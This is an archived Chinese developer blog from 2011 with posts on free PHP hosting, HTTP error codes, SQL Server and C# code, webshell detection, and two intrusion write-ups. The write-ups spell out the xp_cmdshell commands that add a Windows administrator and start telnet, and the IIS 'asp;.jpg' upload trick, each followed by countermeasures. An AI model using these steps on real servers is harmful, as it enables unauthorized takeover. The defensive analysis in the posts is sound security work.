2011年4月 的存档
2011四月26

精选国外免费PHP空间推荐

linux 评论关闭

gofreeserve.com

  2000 MB的主机空间,20个附加域名,在PHP中的sendmail,自动安装脚本,GZIP压缩,的MX管理,CNAME管理,80 GB的每月带宽,20个二级域名,网站建设者,文件管理器和基本的编辑器,票务支持系统,网络工具,MySQL查询分析器慢,库,20托管域名,。htaccess的,安全模式,视频教程,自定义错误页,99.9%的服务正常运行时间,PHP的MyAdmin,免费域名,GD库,的FTP,24 / 7技术支持,帐户统计,PHP版本 5.2.13

000webhost ? 1500M支持PHP可绑米免费虚拟主机

  免费提供1500M空间,100G流量,FTP、Web方式上传管理文件,支持PHP5,提供2个MySQL数据库, cPanel管理面板,可一键安装WordPress、phpBB2、Drupal、Joomla等几种热门PHP程序,免费提供1个二级域名,可以绑定自己的域名,速度不错,无广告。

  Zymic ? 6G容量可绑米免费PHP空间

  Zymic免费空间,6G容量,每月50G流量限制,FTP、Web方式上传管理文件,支持PHP5,限制较多,有3个MySQL数据库,提供免费二级域名1个,可绑定无限个自己的域名,无广告。

  SiteMix ? 日本1.5G可绑米免费PHP空间

  SiteMix是一家日本免费空间服务网站, 1.5G存储空间,支持PHP,提供免费二级域名1个或绑定1个你自己的域名(仅支持顶级域名,二级域名不可以,可支持CN域名),FTP、Web方式上传管理文件,提供最新版WordPress免费博客(由于支持FTP、Web方式上传管理文件,你可以自己传插件和风格进行修改设置,非常方便!但原有文件无法修改。)中国国内速度飞快。

  UcoZ ? 支持FTP且可绑米300M

  Ucoz的免费自助建站系统功能非常强大,对中文支持也很好,但生成的网页却是英文,好在支持FTP、Web上传管理文件,你可以自己上传中文网页或其它文件,可以支持外链。UcoZ提供免费二级域名1个,还可以绑定你自己的域名。Ucoz不支持PHP、ASP等程序脚本,但免费提供了论坛、留言板、博客、网络相册、投票系统等常用程序,你可以自己选择安装。

  Six6 ? 6G容量cPanel面板免费PHP空间

  Six6免费空间,6G容量,无限月流量,简体中文版cPanel主机管理面板,支持FTP、Web方式上传管理文件,支持PHP5,不提供MySQL数据库。Six6免费PHP空间提供免费二级域名1个,可绑定1个域名(仅能在申请的时候绑定),无广告。

  FreeWebHostingArea ? 1.5G容量可绑米免费PHP空间

  FreeWebHostingArea免费PHP空间,500M存储空间,单个文件限10M以内,不限上传文件类型,每天5G流量限制,FTP、Web方式上传管理文件,支持PHP5、MySQL5、SSI,可自定义404、403错误,提供免费二级域名1个,或者绑定1个你自己的域名,无广告。一键安装WordPress、PhpBB等程序。FreeWebHostingArea免费空间旗下有多个网站,域名不一样、IP地址不一样,其它都一样,根据你的需要来选择。

  Freehostia ? 250M可绑米免费PHP空间

  Freehostia免费PHP空间,250M容量,每月6G流量限制,CPU使用不超过1.3%,FTP、Web方式上传管理文件,支持PHP、CGI,1个MySQL数据库(10M存储空间),提供免费二级域名,并可最多绑定5个自己的域名建立5个不同的网站,还提供3个支持POP3、IMAP的免费邮箱,Freehostia具有功能强大的简体中文管理面板,速度不错,无广告。

  0fees提供300M国外高速免费php空间申请

  ByetHost 和0fees系出同门的免费空间(000webhost),值得推荐。

  0fees是美国的免费空间,速度不错,提供300M空间,每月10G流量限制,ftp、web方式上传管理文件,支持PHP5,提供3个MySQL数据库,无限个支持POP3的电子邮箱,可以添加6个二级域名,绑定6个域名,可建6个不同网站,VistaPanel管理面板。可一键安装WordPress、phpBB、PHPWind、Xoops、Drupal等30余种最新PHP程序。

  ByetHost ? 250M可绑米国外免费PHP站

  ByetHost提供250M空间,每月6G流量,ftp、web方式上传管理文件,支持PHP5,提供3个MySQL数据库,无限个支持POP3的电子邮箱,可以添加6个二级域名,绑定6个域名,可建6个不同网站,VistaPanel管理面板。可一键安装WordPress、phpBB、PHPWind、Xoops、Drupal等30余种最新PHP程序。

  MegaByet免费1.6G可绑米国外空间

  Megabyet免费PHP空间,cPanel面板,1600M容量,无流量限制,FTP、Web方式上传管理文件,支持PHP、CGI,3个MySQL数据库,2个FTP帐户,提供免费二级域名,并可最多绑定6个自己的域名建立6个不同的网站,还提供支持POP3、IMAP的免费邮箱,速度很好,无广告,推荐使用。

  20x美国5G免费空间

  20x.cc,5 GB空间、200 GB流量、可绑定50个域名、50个免费MySQL数据库、1电子邮件帐户、赠送免费CO.CC二级域名(自己可解析子域名)、可绑定自己的域名、中文Vistapanel控制面板、无强制广告、没有发帖限制、没有宣传限制、永久免费的PHP空间。

2011四月24

记一次服务器连接不上故障 arp

开发遇到的问题 评论关闭

系统出现数据库无法连接的问题,远程连接不上服务器,进入机房服务器查看,运行良好,只是在右下方不时弹出IP冲突的提示,在客户机上运行arp -a 查看,发现所在IP对应的mac地址不是服务器的mac地址,遂想到有一位同事的IP错误的设置成了服务器IP,客户机都访问同事的电脑去了,出现数据库无法连接的问题,
解决方法:1,找出冲突IP所在电脑,更改IP,在客户机上运行arp -d删除缓存信息。
2,在不方便找出冲突IP的情况下,更改服务器的IP地址。

注:ARP原因:地址解析协议,是一种将IP地址转化成物理地址的协议
1,局域网同一网段的网络流通不是根据IP地址进行,而是按照MAC地址进行传输,需要将被访问电脑的IP地址转为MAC地址才能通讯,为便于通讯,会有2分钟的缓存机制。
2,某机器A要向主机B发送报文,会查询本地的ARP缓存表,找到B的IP地址对应的MAC地址后,就会进行数据传输。对本地的ARP2缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。如果未找到,则广播A一个ARP请求报文(携带主机A的IP地址Ia??物理地址Pa),请求IP地址为Ib的主机B回答物理地址Pb。网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

2011四月23

HTTP 错误

HTTP 错误 400
400 请求出错
由于语法格式有误,服务器无法理解此请求。不作修改,客户程序就无法重复此请求。
HTTP 错误 401
401.1 未授权:登录失败
此错误表明传输给服务器的证书与登录服务器所需的证书不匹配。
请与 Web 服务器的管理员联系,以确认您是否具有访问所请求资源的权限。
401.2 未授权:服务器的配置导致登录失败
此错误表明传输给服务器的证书与登录服务器所需的证书不匹配。此错误通常由未发送正确的 WWW 验证表头字段所致。
请与 Web 服务器的管理员联系,以确认您是否具有访问所请求资源的权限。
401.3 未授权:由于资源中的 ACL 而未授权
此错误表明客户所传输的证书没有对服务器中特定资源的访问权限。此资源可能是客户机中的地址行所列出的网页或文件,也可能是处理客户机中的地址行所列出的文件所需服务器上的其他文件。
请记录试图访问的完整地址,并与 Web 服务器的管理员联系以确认您是否具有访问所请求资源的权限。
401.4 未授权:授权服务被筛选程序拒绝
此错误表明 Web 服务器已经安装了筛选程序,用以验证连接到服务器的用户。此筛选程序拒绝连接到此服务器的真品证书的访问。
请记录试图访问的完整地址,并与 Web 服务器的管理员联系以确认您是否具有访问所请求资源的权限。
401.5 未授权:ISAPI/CGI 应用程序的授权失败
此错误表明试图使用的 Web服务器中的地址已经安装了 ISAPI 或 CGI程序,在继续之前用以验证用户的证书。此程序拒绝用来连接到服务器的真品证书的访问。
请记录试图访问的完整地址,并与 Web服务器的管理员联系以确认您是否具有访问所请求资源的权限
HTTP 错误 403
403.1 禁止:禁止执行访问
如果从并不允许执行程序的目录中执行 CGI、ISAPI或其他执行程序就可能引起此错误。
如果问题依然存在,请与 Web 服务器的管理员联系。
403.2 禁止:禁止读取访问
如果没有可用的默认网页或未启用此目录的目录浏览,或者试图显示驻留在只标记为执行或脚本权限的目录中的HTML 页时就会导致此错误。
如果问题依然存在,请与 Web 服务器的管理员联系。
403.3 禁止:禁止写访问
如果试图上载或修改不允许写访问的目录中的文件,就会导致此问题。
如果问题依然存在,请与 Web服务器的管理员联系。
403.4 禁止:需要 SSL
此错误表明试图访问的网页受安全套接字层(SSL)的保护。要查看,必须在试图访问的地址前输入https:// 以启用 SSL。
如果问题依然存在,请与 Web服务器的管理员联系。
403.5 禁止:需要 SSL 128
此错误消息表明您试图访问的资源受 128位的安全套接字层(SSL)保护。要查看此资源,需要有支持此SSL 层的浏览器。
请确认浏览器是否支持 128 位 SSL安全性。如果支持,就与 Web服务器的管理员联系,并报告问题。
403.6 禁止:拒绝 IP 地址
如果服务器含有不允许访问此站点的 IP地址列表,并且您正使用的 IP地址在此列表中,就会导致此问题。
如果问题依然存在,请与 Web服务器的管理员联系。
403.7 禁止:需要用户证书
当试图访问的资源要求浏览器具有服务器可识别的用户安全套接字层(SSL)证书时就会导致此问题。可用来验证您是否为此资源的合法用户。
请与 Web服务器的管理员联系以获取有效的用户证书。
403.8 禁止:禁止站点访问
如果 Web服务器不为请求提供服务,或您没有连接到此站点的权限时,就会导致此问题。
请与 Web 服务器的管理员联系。
403.9 禁止访问:所连接的用户太多
如果 Web太忙并且由于流量过大而无法处理您的请求时就会导致此问题。请稍后再次连接。
如果问题依然存在,请与 Web 服务器的管理员联系。
403.10 禁止访问:配置无效
此时 Web 服务器的配置存在问题。
如果问题依然存在,请与 Web服务器的管理员联系。
403.11 禁止访问:密码已更改
在身份验证的过程中如果用户输入错误的密码,就会导致此错误。请刷新网页并重试。
如果问题依然存在,请与 Web服务器的管理员联系。
403.12 禁止访问:映射程序拒绝访问
拒绝用户证书试图访问此 Web 站点。
请与站点管理员联系以建立用户证书权限。如果必要,也可以更改用户证书并重试。
HTTP 错误 404
404 找不到
Web 服务器找不到您所请求的文件或脚本。请检查URL 以确保路径正确。
如果问题依然存在,请与服务器的管理员联系。
HTTP 错误 405
405 不允许此方法
对于请求所标识的资源,不允许使用请求行中所指定的方法。请确保为所请求的资源设置了正确的 MIME 类型。
如果问题依然存在,请与服务器的管理员联系。
HTTP 错误 406
406 不可接受
根据此请求中所发送的“接受”标题,此请求所标识的资源只能生成内容特征为“不可接受”的响应实体。
如果问题依然存在,请与服务器的管理员联系。
HTTP 错误 407
407 需要代理身份验证
在可为此请求提供服务之前,您必须验证此代理服务器。请登录到代理服务器,然后重试。
如果问题依然存在,请与 Web 服务器的管理员联系。
HTTP 错误 412
412 前提条件失败
在服务器上测试前提条件时,部分请求标题字段中所给定的前提条件估计为FALSE。客户机将前提条件放置在当前资源 metainformation(标题字段数据)中,以防止所请求的方法被误用到其他资源。
如果问题依然存在,请与 Web 服务器的管理员联系。
HTTP 错误 414
414 Request-URI 太长
Request-URL太长,服务器拒绝服务此请求。仅在下列条件下才有可能发生此条件:
客户机错误地将 POST 请求转换为具有较长的查询信息的 GET 请求。
客户机遇到了重定向问题(例如,指向自身的后缀的重定向前缀)。
服务器正遭受试图利用某些服务器(将固定长度的缓冲区用于读取或执行 Request-URI)中的安全性漏洞的客户干扰。
如果问题依然存在,请与 Web 服务器的管理员联系。
HTTP 错误 500
500 服务器的内部错误
Web 服务器不能执行此请求。请稍后重试此请求。
如果问题依然存在,请与 Web服务器的管理员联系。
HTTP 错误 501
501 未实现
Web 服务器不支持实现此请求所需的功能。请检查URL 中的错误,如果问题依然存在,请与 Web服务器的管理员联系。
HTTP 错误 502
502 网关出错
当用作网关或代理时,服务器将从试图实现此请求时所访问的upstream 服务器中接收无效的响应。
如果问题依然存在,请与 Web服务器的管理员联系。

2011四月19

WebShell检测思路浅谈【转载】

开发遇到的问题 评论关闭

目录]
0×00 前言
0×01 Webshell检测模型
0×02 静态特征检测
0×03 动态特征检测
0×04 结语

0×00 前言
什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不
过不了解也没关系,那就请先搜索下相关资料[1]。当然,本着“know it then hack it”
的原则,建议你还是搭个环境,熟悉下先,毕竟纸上谈兵是要不得的。
随着网络的发展,Web站点的增加,webshell这种脚本后门技术也发展起来了,多少黑
客故事都是从一个小小的webshell开始的。所以对于网站,特别是站点和应用众多的互联网
企业,能够在出现webshell的阶段及时发现和响应就显得尤为重要。
本文以笔者多年从事相关工作的经验来探讨下webshell的检测手段。

0×01 Webshell检测模型
记得当年第一个ASP木马出来的时候号称“永不被杀的ASP木马”(请大家虔诚地起立,
我们一起来膜拜一下海洋顶端ASP木马之父LCX大叔),因为它使用正常端口,且脚本容易变
形,使得查杀它变得困难。但是,Webshell这种特殊的Web应用程序也有两个命门:文件和
HTTP请求。
我们先来看下Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。
简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。
棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然
不是绝对的),只有在应用层进行检测。
黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含
webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数
据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。

0×02 静态特征检测
静态特征检测是指不执行而通过围观的方式来发现webshell,即先建立一个恶意字符串
特征库,然后通过在各类脚本文件中检查是否匹配。这是一种最简单也是最常见的技术,高
级一些的,可能还涉及到语义分析。笔者06年开发的“雷客图ASP站长安全助手”[2]即是通
过此类办法查找ASP类型的webshell的。
静态特征检测面临的一个问题是误报。因为一些特征字符串正常程序本身也需要用到。
比如PHP里面的eval、system等,ASP里面的FileSystemObject、include等。所以雷客图在
设计之初就是一个辅助工具,最终还需要有相关安全经验的人来判定。
对于少量站点可以用这样人肉去检查,如果是一个成千上万站点的大型企业呢,这个时
候再人肉那工作量可就大了。所以用这样一种思路:强弱特征。即把特征码分为强弱两种特
征,强特征命中则必是webshell;弱特征由人工去判断。加入一种强特征,即把流行webshell
用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。
比如PHPSpy里面会出现phpspy、wofeiwo、eval($_POST[xxx])等,ASP里面出现Shell.Application
等。当然,黑客完全可以变形躲过,没关系,还有人工检查的弱特征。
另一个问题是漏报。程序的关键是特征字符串,它直接关系着结果,如果你的特征库里
面没有记录的甚至是一种新的webshell代码,就可能束手无策了。雷客图第一版出来后,我
自以为所有的ASP webshell都可以查了,但是我错了,因为不断会有新的方式出来绕过,最
终结果就是特征被动的跟着webshell升级而升级,同时还面临未知的webshell??这个情况
和特征码杀毒软件何其相似。
要解决误报和漏报,就不能拘泥于代码级别了。可以换个角度考虑问题:文件系统。我
们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,
如果我的Web目录无缘无故多了个nobody的文件,这里就有问题了。最理想的办法是需要制度
和流程来建设一个Web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发
现。

0×03 动态特征检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我
们称为动态特征。
先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应
做成特征库,加到IDS里面去检测所有的HTTP请求就好了。
这个方案有个问题就是漏报。首先你得把网上有的webshell都搜集起来抓特征,这是个
体力活,新的webshell出来还要去更新这个库,总是很被动,被动就算了,但是一些不曾公
开的webshell通信就会漏掉。那么这个方案有没有效果,只能说效果有限吧,对付拿来主义
的菜鸟可以,遇到高级一些的黑客就无效了。杀毒软件都搞主动防御了,webshell也不能老
搞特征码是吧。
webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,
Win下就是IIS User启动cmd,这些都是动态特征,不过需要看黑客是否执行命令(多半会这
样),还有就是你的服务器上要有一个功能强大的Agent。要是黑客高兴,再反连回去,这
下就更好了,一个TCP连接(也可能是UDP),Agent和IDS都可以抓现行。这里还涉及到主机
后门的一些检测策略,以后有机会再另文叙述。
回到网络层来,之前我们探讨过,Webshell总有一个HTTP请求,如果我在网络层监控HTTP
请求(我没有监控Apache/IIS日志),有一天突然出现一个新的PHP文件请求或者一个平时
是GET请求的文件突然有了POST请求,还返回的200,这里就有问题了。这种基于区别于正常
请求的异常模型,姑且称之为HTTP异常请求模型检测。一旦有了这样的模型,除了Webshell,
还可以发现很多问题的。
还有一个思路来自《浅谈javascript函数劫持》[3]和某款代码审计软件。回忆一下,
我们调试网马的时候,怎么还原它各种稀奇古怪的加密算法呢,简单,把eval改成alert就
好了!类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),
当有webshell调用的时候就可以发现异常。例如以下ASP代码就实现了对ASP的execute函数
的重载:
–code————————————————————————-
<%
Function execute(stra)
Response.Write("get the arg : "+stra)
End Function
a="response.write(""hello,world"")"
execute(a)
%>
——————————————————————————-
这个方法在应用层还是有些问题,所以如果在CGI引擎内核里面改可能会好些。根据小
道消息,这期ph4nt0m的webzine会有一篇文章涉及PHP内核中防webshell的,有兴趣的同学
可以关注。

0×04 结语
本文只探讨了检测Webshell的一些思路,希望对你有些帮助,如果你有更好的方案,也
可以和我探讨。至于一些工具和特征,由于这样那样的原因就不公开了,我始终认为,相比
于工具,思路永远是最重要的。

2011四月16

SqlServer被提权,得到服务器权限

开发遇到的问题 评论关闭

过程:利用x-scan扫描目标机,因服务器sqlserver是弱口令,得到sa权限。用查询分析器连接上去,执行以下方法添加一个管理员账号,进尔得到服务器的控制权限:

–打开xp_cmdshell
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘

应对方式:net.exe ;net1.exet ;cmd.exe ;tftp.exe ;netstat.exe ;regedit.exe ;at.exe ;
attrib.exe;cacls.exe;format.com;ftp.exe;at.exe;telnet.exe;command.com;netstat.exe;arp.exe;nbtstat.exe仅给管理员权限,其它都去掉,包括system

2011四月13

网站被上传木马,进尔失去服务器管理权限

开发遇到的问题 评论关闭

1,模拟过程:hacker破解掉网站后台密码后,在文件上传中,上传了一个jpg的木马,网站上面是可以显示图片路径的,然后他在地址栏中执行,由于服务器没有做安全权限,故得到一切…
jpg木马:一个asp或asa木马,将其名称改为 aaa.asp;.jpg 或者aaa.asp;.aaa
这种木马是IIS在执行时有一个解析漏洞引起,称为IIS解析漏洞
IIS解析漏洞
1,网站上传图片的时候,将网页木马文件的名字改成“*.asp;.jpg”,也同样会被 IIS 当作 asp 文件来解析并执行。例如上传一个图片文件,名字叫“vidun.asp;.jpg”的木马文件,该文件可以被当作 asp 文件解析并执行。

2,在网站下建立文件夹的名字为 *.asp、*.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp,那么 /vidun.asp/1.jpg 将被当作 asp 文件来执行。

木马查找:ASPX:DirectoryInfo ASP:filesystemobject

预防措施:
一、网站
1,网站后台密码设置复杂,14位以上
2,限制IP登录
3,上传文件的地方,除限制文件类型外,获取上传文件的后缀名,文件名随机生成,这样就去掉了asp.生成的文件为xxx.jpg,而不在是xxx.aspa;.jpg。
同时,在IIS中,右击上传文件夹,执行权限设置为无

4,若网站是aspx的,那么去掉asp的映射。
二、服务器
1,磁盘目录,仅给administrator,system权限,在高级里面,记得将允许父…,将此…都打上√
把windows临时文件夹temp转移到其它盘
1。在D盘建立temp这个文件夹
2。控制面板/系统/高级/环境变量/用户变量/把temp和tmp值编辑到 d:\temp
3。控制面板/系统/高级/环境变量/系统变量/把temp和tmp值编辑到 d:\temp
4。仅给administrator,system权限,及networkservice的读写权限,重启系统后生效
2,网站目录:networkservice,IIS来宾账号给予读取权限,administrator给予所有权限,其它都去掉。
仅上传文件的目录写权限
3,网站源码:封装成dll,混淆,web.config中的数据库链接移出,字符串加密放到注册表中,在封装的dll类中读取此注册表项信息即可,放在注册表中方便修改。

防止执行CMD
卸载wscript.shell对象,在cmd下或直接运行:regsvr32 /u %windir%\system32\WSHom.Ocx
卸载FSO对象,在cmd下或直接运行:regsvr32.exe /u %windir%\system32\scrrun.dll
卸载stream对象,在cmd下或直接运行: regsvr32 /s /u “C:\Program Files\Common Files\System\ado\msado15.dll”

2011四月13

字符串相似度算法

好的代码 评论关闭
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace ConsoleApplication38
{
    public class LevenshteinDistance
    {

        private static LevenshteinDistance _instance=null;
        public static LevenshteinDistance Instance
        {
            get
            {
                if (_instance == null)
                {
                    return new LevenshteinDistance();
                }
                return _instance;
            }
        }

        /// <summary>
        /// 取最小的一位数
        /// </summary>
        /// <param name="first"></param>
        /// <param name="second"></param>
        /// <param name="third"></param>
        /// <returns></returns>
        public int LowerOfThree(int first, int second, int third)
        {
            int min = first;
            if (second < min)
                min = second;
            if (third < min)
                min = third;
            return min;
        }

        public int Levenshtein_Distance(string str1, string str2)
        {
            int[,] Matrix;
            int n=str1.Length;
            int m=str2.Length;

            int temp = 0;
            char ch1;
            char ch2;
            int i = 0;
            int j = 0;
            if (n ==0)
            {
                return m;
            }
            if (m == 0)
            {

                return n;
            }
            Matrix=new int[n+1,m+1];

            for (i = 0; i <= n; i++)
            {
                //初始化第一列
                Matrix[i,0] = i;
            }

            for (j = 0; j <= m; j++)
            {
                //初始化第一行
                Matrix[0, j] = j;
            }

            for (i = 1; i <= n; i++)
            {
                ch1 = str1[i-1];
                for (j = 1; j <= m; j++)
                {
                    ch2 = str2[j-1];
                    if (ch1.Equals(ch2))
                    {
                        temp = 0;
                    }
                    else
                    {
                        temp = 1;
                    }
                    Matrix[i,j] = LowerOfThree(Matrix[i - 1,j] + 1, Matrix[i,j - 1] + 1, Matrix[i - 1,j - 1] + temp);

                }
            }

            for (i = 0; i <= n; i++)
            {
                for (j = 0; j <= m; j++)
                {
                    Console.Write(" {0} ", Matrix[i, j]);
                }
                Console.WriteLine("");
            }
            return Matrix[n, m];

        }

        /// <summary>
        /// 计算字符串相似度
        /// </summary>
        /// <param name="str1"></param>
        /// <param name="str2"></param>
        /// <returns></returns>
        public decimal LevenshteinDistancePercent(string str1,string str2)
        {
            int maxLenth = str1.Length > str2.Length ? str1.Length : str2.Length;
            int val = Levenshtein_Distance(str1, str2);
            return 1 - (decimal)val / maxLenth;
        }
    }

    class Program
    {

        static void Main(string[] args)
        {
            string str1 = "你好蒂蒂";
            string str2="你好蒂芬";
            Console.WriteLine("字符串1 {0}", str1);

            Console.WriteLine("字符串2 {0}", str2);

            Console.WriteLine("相似度 {0} %", LevenshteinDistance.Instance.LevenshteinDistancePercent(str1, str2)*100);
            Console.ReadLine();
        }
    }

}
2011四月8

聚合函数 用Update、Select赋值

sql server 评论关闭
1,Update不仅可以给字段赋值,直接给变量赋值也行
DECLARE @str VARCHAR(50)
UPDATE AA
SET aa.c3 = ‘hello’,@str = c3
FROM tmp aa
WHERE aa.c2 = ‘aa’

2, 赋值的保留值,即执行 SELECT ,UPDATE给变量赋值,若没有结果,则保留原值。若执行的是count,则变量赋值为0,若执行的是sum,则变量赋值为空,即对于聚合函数,除count返回为0外,其它如sum, max均返回NULL。
执行 SELECT ,UPDATE给变量赋值,若没有结果,则保留原值,对于聚合函数,都是返回有值的,只是对于count,若没有结果,那么计数为0,即返回值是0,而于sum,max若没有结果,那么聚合的结果是null,null也会返回,覆盖原变量值。

3,聚合函数中, SUM/AVG/COUNT中的NULL会被忽略,对sum,avg,还没什么关系,但要注意的是COUNT,NULL被忽略意味着若count(字段),此字段有一行为NULL,则数量会少一行,他忽略的NULL就是()里的字段,若为常量或*,都不是NULL,也就没有忽略可言。

drop table t_count
create table t_count
(
c1 varchar(10) null,
c2 varchar(10) null
)

insert into t_count values(null,null)
insert into t_count values('a','b')
insert into t_count values('a','b')
insert into t_count values('c','d')
insert into t_count values('c','d')

select COUNT(1) from t_count --5
select COUNT(c1) from t_count --4
select COUNT(distinct c1) from t_count --2

--正常
select count(*) from (select distinct c1,c2 from t_count) t --3
--有NULL参与了运算,所以表达式值为NULL
select count(distinct c1+c2) from t_count --2

4,当用SELECT,UPDATE赋值时,加个TOP,找到即返回,防止遍历所有行!
注:select top 与 select相同点都会将所有满足条件的数据筛选出来然后进行赋值,top并不是筛选到一条就返回,若是将有满足条件的数据筛选出来后,赋值一个即返回,故赋值select top不会比select 性能提高多少。
DECLARE @username VARCHAR(50),@updateusername VARCHAR(50),
@count INT,@sum INT,@max int
SET @username = ‘tt’
SET @updateusername = ‘cc’
SET @count = 22
SET @sum = 33
SET @max = 44
SELECT @username = f.UserName
FROM frmuser f
WHERE 1=2
UPDATE f
SET @updateusername = f.username
FROM frmuser f
WHERE 1=2
SELECT @count= COUNT(1)
FROM frmuser f
WHERE 1=2
SELECT @sum= SUM(f.ID)
FROM frmuser f
WHERE 1=2
SELECT @max= max(f.ID)
FROM frmuser f
WHERE 1=2
SELECT @username –tt
SELECT @updateusername –cc
SELECT @count –0
SELECT @sum –null
SELECT @max –null
2011四月6

SELECT TOP的用法

sql server 评论关闭

看了下SQL SERVER2005 关于TOP的定义,发现有一些用法还没掌握
1,取前40% select top (40) percent from table1 –若计算出的行数是小数,则最终行数会向上取整
2,declare @i int
set @i=1
select top @i, * from table1
在存储过程中得不到执行,因为top时后面只能是常量。 之前这样认为,并用了set rowcount @i解决,
但其实可用:select top (@i) * from table1来解决

3,在UPDATE,DELETE 中使用TOP
UPDATE TOP (2) frmuser
SET LastEditDate = GETDATE()

DELETE TOP (2) FROM frmUser

4,select top (@i)使用:对于sys.objects数据库,若类型为s则取2条,v 1条,p,3条
WITH lib AS(
SELECT ‘s’ TYPE ,2 showcount –将规则固定化
UNION ALL
SELECT ‘v’,1
UNION ALL
SELECT ‘p’,3
)

SELECT lib.*,o.*
FROM lib
CROSS APPLY(SELECT TOP (lib.showcount) NAME,create_date
FROM sys.objects o
WHERE o.[type] = lib.type
ORDER BY o.create_date)o
ORDER BY lib.type,o.create_Date

2011四月6

文件监控类FileSystemWatch:监视系统目录、文件的更新、删除等

好的代码 评论关闭
public class Watcher
{

    public static void Main()
    {
    Run();

    }

    [PermissionSet(SecurityAction.Demand, Name="FullTrust")]
    public static void Run()
    {
        string[] args = System.Environment.GetCommandLineArgs();

        // If a directory is not specified, exit program.
        if(args.Length != 2)
        {
            // Display the proper way to call the program.
            Console.WriteLine("Usage: Watcher.exe (directory)");
            return;
        }

        // Create a new FileSystemWatcher and set its properties.
        FileSystemWatcher watcher = new FileSystemWatcher();
        watcher.Path = args[1];
        /* Watch for changes in LastAccess and LastWrite times, and
           the renaming of files or directories. */
        watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
           | NotifyFilters.FileName | NotifyFilters.DirectoryName;
        // Only watch text files.
        watcher.Filter = "*.txt";

        // Add event handlers.
        watcher.Changed += new FileSystemEventHandler(OnChanged);
        watcher.Created += new FileSystemEventHandler(OnChanged);
        watcher.Deleted += new FileSystemEventHandler(OnChanged);
        watcher.Renamed += new RenamedEventHandler(OnRenamed);

        // Begin watching.
        watcher.EnableRaisingEvents = true;

        // Wait for the user to quit the program.
        Console.WriteLine("Press \'q\' to quit the sample.");
        while(Console.Read()!='q');
    }

    // Define the event handlers.
    private static void OnChanged(object source, FileSystemEventArgs e)
    {
        // Specify what is done when a file is changed, created, or deleted.
       Console.WriteLine("File: " +  e.FullPath + " " + e.ChangeType);
    }

    private static void OnRenamed(object source, RenamedEventArgs e)
    {
        // Specify what is done when a file is renamed.
        Console.WriteLine("File: {0} renamed to {1}", e.OldFullPath, e.FullPath);
    }
}
2011四月5

网站被挂马,而在页面中找不到此代码

1,360arp防火墙开着,不是arp欺骗
2,在%windir%\system32\inetsrv\MetaBase.xml看到DefaultDocFooter指向一其它文件,明白原因所在!,删除。
DefaultDocFooter 属性指定附加到返回到客户端的 HTML 文件的自定义页脚(页脚并不附加到 ASP 文件)。如果将 EnableDocFooter 属性设置为 true,则仅发送自定义页脚。页脚可以是一个字符串
DirBrowseFlags 控制是否启用目录浏览,可以提供多少目录和文件信息(如果启用浏览)以及目录中是否包含默认页的标记。
注意 如果客户端访问目录时没有提供文件名,而 EnableDefaultDoc 标志设置为 true,那么服务器将查找 DefaultDoc 属性指定的默认文件。如果该目录中不存在默认文件,而 EnableDirBrowsing 标志又设置为 true,那么系统将启用目录浏览。

2011四月2

外键用ID而不是用文字的优势

栏位用id代替实际内容,
一是进行封装,降低依赖,更改方便。
二是降少了每行的数据量,一个数据页可存储更多记录,IO每次按数据页为单位读取数据时,将能读出更多记录,提升了IO。

2011四月2

数字辅助表:连续范围的结果处理

sql server 评论关闭
数字辅助表:一个1到N的表 应用:连续范围的结果处理,利用group by会有缺失范围!

创建此函数,每次调用 select dbo.fn_nums(24)即可:
CREATE FUNCTION dbo.fn_nums(@n AS BIGINT) RETURNS TABLE
AS
RETURN
  WITH
  L0   AS(SELECT 1 AS c UNION ALL SELECT 1),
  L1   AS(SELECT 1 AS c FROM L0 AS A, L0 AS B),
  L2   AS(SELECT 1 AS c FROM L1 AS A, L1 AS B),
  L3   AS(SELECT 1 AS c FROM L2 AS A, L2 AS B),
  L4   AS(SELECT 1 AS c FROM L3 AS A, L3 AS B),
  L5   AS(SELECT 1 AS c FROM L4 AS A, L4 AS B),
  Nums AS(SELECT ROW_NUMBER() OVER(ORDER BY c) AS n FROM L5)
  SELECT n FROM Nums WHERE n <= @n;
--注对于n级,最大的行数为2的(2的n次幂)次幂 如n=5时,最大行数为:2的32次方共4294967296行数据!
GO

应用:1,一段日期范围内的订单数,可以用group by,但得不到连续的日期,即若某天没有业绩,就显示不出来,所以用group by有缺陷
数字辅助表:
DECLARE @OrderDateBegin VARCHAR(20),@OrderDateEnd VARCHAR(20)
SET @OrderDateBegin = '2011-01-01'
SET @OrderDateEnd = '2011-02-01'
DECLARE @Span INT
